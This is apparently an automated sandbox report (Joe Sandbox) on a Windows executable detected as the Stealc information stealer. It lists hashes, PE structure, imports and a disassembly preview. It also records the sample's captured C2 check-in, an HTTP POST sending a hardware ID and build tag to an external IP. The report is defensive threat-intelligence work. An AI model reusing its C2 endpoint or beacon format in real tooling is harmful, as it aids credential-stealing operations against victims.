TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	QZzvG5G6VE.exe
File size:	310'272 bytes
MD5:	9c6ce24a5ff45b882abb5ccaca3cf63b
SHA1:	5f3cafa1ca674e671849502b4f4b74b898a7702a
SHA256:	254d94f6404f2c42199ce1c02c405c5ace05fa77cf197c688516a7c2fb61081d
SHA512:	52800d5785ffd43b1cef16325f2d162535c36cf2ee89e20674ad49c68f4a7362a74617cff8d9231269ff20863a338bfe7e2e6ad4ef01caddbd196d9acc835951
SSDEEP:	6144:pvpHLJSJh10oVJ4C3CO2uWGcTATRsYQiANCpUxEJKWc+T5omu7Uk9NTeeqK5+06K:pBrJ80K4C3CO2uWGcTATRsYQiANCpUse
TLSH:	B7646B2066E4B561C003F4334F7DE8EFA73A6512AB166DFA09C607B0BED5E986B35704
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........F.."....4.1p\.mE.2.&c.EZ\|.'.?.......*.3..v...AbR.J.c......U..B.Z..F.....vV...HO.......~...$.S...ub.-.z................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x4042f8
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x65C08D0C [Mon Feb 5 07:23:56 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	382a4d7b99200ee7e9686d1f1cde0258

Entrypoint Preview

Instruction
call 00007F26A93F0FAAh
jmp 00007F26A93F0B29h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 00445360h
mov dword ptr [ecx], 00445308h
ret
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007F26A93F0C8Fh
push 0044A74Ch
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007F26A93F1D79h
int3
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007F26A93F0160h
push 0044A66Ch
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007F26A93F1D5Ch
int3
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
push esi
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
movzx eax, word ptr [ecx+14h]
lea edx, dword ptr [ecx+18h]
add edx, eax
movzx eax, word ptr [ecx+06h]
imul esi, eax, 28h
add esi, edx
cmp edx, esi
je 00007F26A93F0CCBh
mov ecx, dword ptr [ebp+0Ch]
cmp ecx, dword ptr [edx+0Ch]
jc 00007F26A93F0CBCh
mov eax, dword ptr [edx+08h]
add eax, dword ptr [edx+0Ch]
cmp ecx, eax
jc 00007F26A93F0CBEh
add edx, 28h
cmp edx, esi
jne 00007F26A93F0C9Ch
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 00007F26A93F0CABh
push esi
call 00007F26A93F1410h
test eax, eax
je 00007F26A93F0CD2h
mov eax, dword ptr fs:[00000018h]
mov esi, 0044CA30h
mov edx, dword ptr [eax+04h]
jmp 00007F26A93F0CB6h
cmp edx, eax
je 00007F26A93F0CC2h
xor eax, eax
mov ecx, edx
lock cmpxchg dword ptr [esi], ecx
test eax, eax

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x4ad24	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4e000	0x1030	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x49fb0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x49ef0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x12000	0x130	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xffb3	0x10000	3e56053295fe096992266f804cff731b	False	0.604644775390625	data	6.607741101121348	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.Gk17A	0x11000	0x57b	0x600	278bf331a378d377b069398c5d970d4e	False	0.7356770833333334	data	5.521855956079267	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x12000	0x393e2	0x39400	446eeae577f940024198fdeb7ab20a4b	False	0.4073800832423581	data	6.5919649930476245	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x4c000	0x146c	0xc00	fe5e59a519c227296e1ac96c8f8255ca	False	0.16243489583333334	data	2.1644385139883653	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x4e000	0x1030	0x1200	5169643d56131354d87d7160007fc155	False	0.708984375	data	6.225699271745207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL

Import

KERNEL32.dll

VirtualProtect, GetModuleHandleA, GetProcAddress, VirtualAlloc, LoadLibraryA, lstrlenW, CreateThread, Sleep, WaitForSingleObject, FreeConsole, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, IsProcessorFeaturePresent, GetModuleHandleW, GetCurrentProcess, TerminateProcess, WriteConsoleW, RaiseException, RtlUnwind, GetLastError, SetLastError, EncodePointer, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, LoadLibraryExW, GetStdHandle, WriteFile, GetModuleFileNameW, ExitProcess, GetModuleHandleExW, GetCommandLineA, GetCommandLineW, HeapAlloc, HeapFree, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, MultiByteToWideChar, WideCharToMultiByte, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableW, SetStdHandle, GetFileType, GetStringTypeW, CompareStringW, LCMapStringW, GetProcessHeap, HeapSize, HeapReAlloc, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, SetFilePointerEx, CreateFileW, CloseHandle, DecodePointer

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.591.206.178.11849705802044243 02/05/24-11:51:54.791411	TCP	2044243	ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in	49705	80	192.168.2.5	91.206.178.118

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 5, 2024 11:51:54.566149950 CET	49705	80	192.168.2.5	91.206.178.118
Feb 5, 2024 11:51:54.789813042 CET	80	49705	91.206.178.118	192.168.2.5
Feb 5, 2024 11:51:54.790143967 CET	49705	80	192.168.2.5	91.206.178.118
Feb 5, 2024 11:51:54.791410923 CET	49705	80	192.168.2.5	91.206.178.118
Feb 5, 2024 11:51:55.015052080 CET	80	49705	91.206.178.118	192.168.2.5
Feb 5, 2024 11:51:55.020863056 CET	80	49705	91.206.178.118	192.168.2.5
Feb 5, 2024 11:51:55.020920992 CET	49705	80	192.168.2.5	91.206.178.118
Feb 5, 2024 11:51:56.478708029 CET	49705	80	192.168.2.5	91.206.178.118

HTTP Request Dependency Graph

91.206.178.118

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	91.206.178.118	80	5668	C:\Users\user\Desktop\QZzvG5G6VE.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:51:54.791410923 CET	410	OUT	POST /31b57f88e9b186cd.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJECGHJDBFIJJJKEHCBF Host: 91.206.178.118 Content-Length: 209 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 35 43 30 46 32 34 38 43 42 43 37 31 34 38 36 35 37 30 37 31 39 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 45 55 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 46 2d 2d 0d 0a Data Ascii: ------JJECGHJDBFIJJJKEHCBFContent-Disposition: form-data; name="hwid"C5C0F248CBC71486570719------JJECGHJDBFIJJJKEHCBFContent-Disposition: form-data; name="build"EU------JJECGHJDBFIJJJKEHCBF--
Feb 5, 2024 11:51:55.020863056 CET	178	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 10:51:54 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 8 Connection: keep-alive Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	11:51:52
Start date:	05/02/2024
Path:	C:\Users\user\Desktop\QZzvG5G6VE.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\QZzvG5G6VE.exe
Imagebase:	0xae0000
File size:	310'272 bytes
MD5 hash:	9C6CE24A5FF45B882ABB5CCACA3CF63B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2003556694.000000000130E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	11:51:52
Start date:	05/02/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report QZzvG5G6VE.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

HTTP Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

Windows Analysis Report
QZzvG5G6VE.exe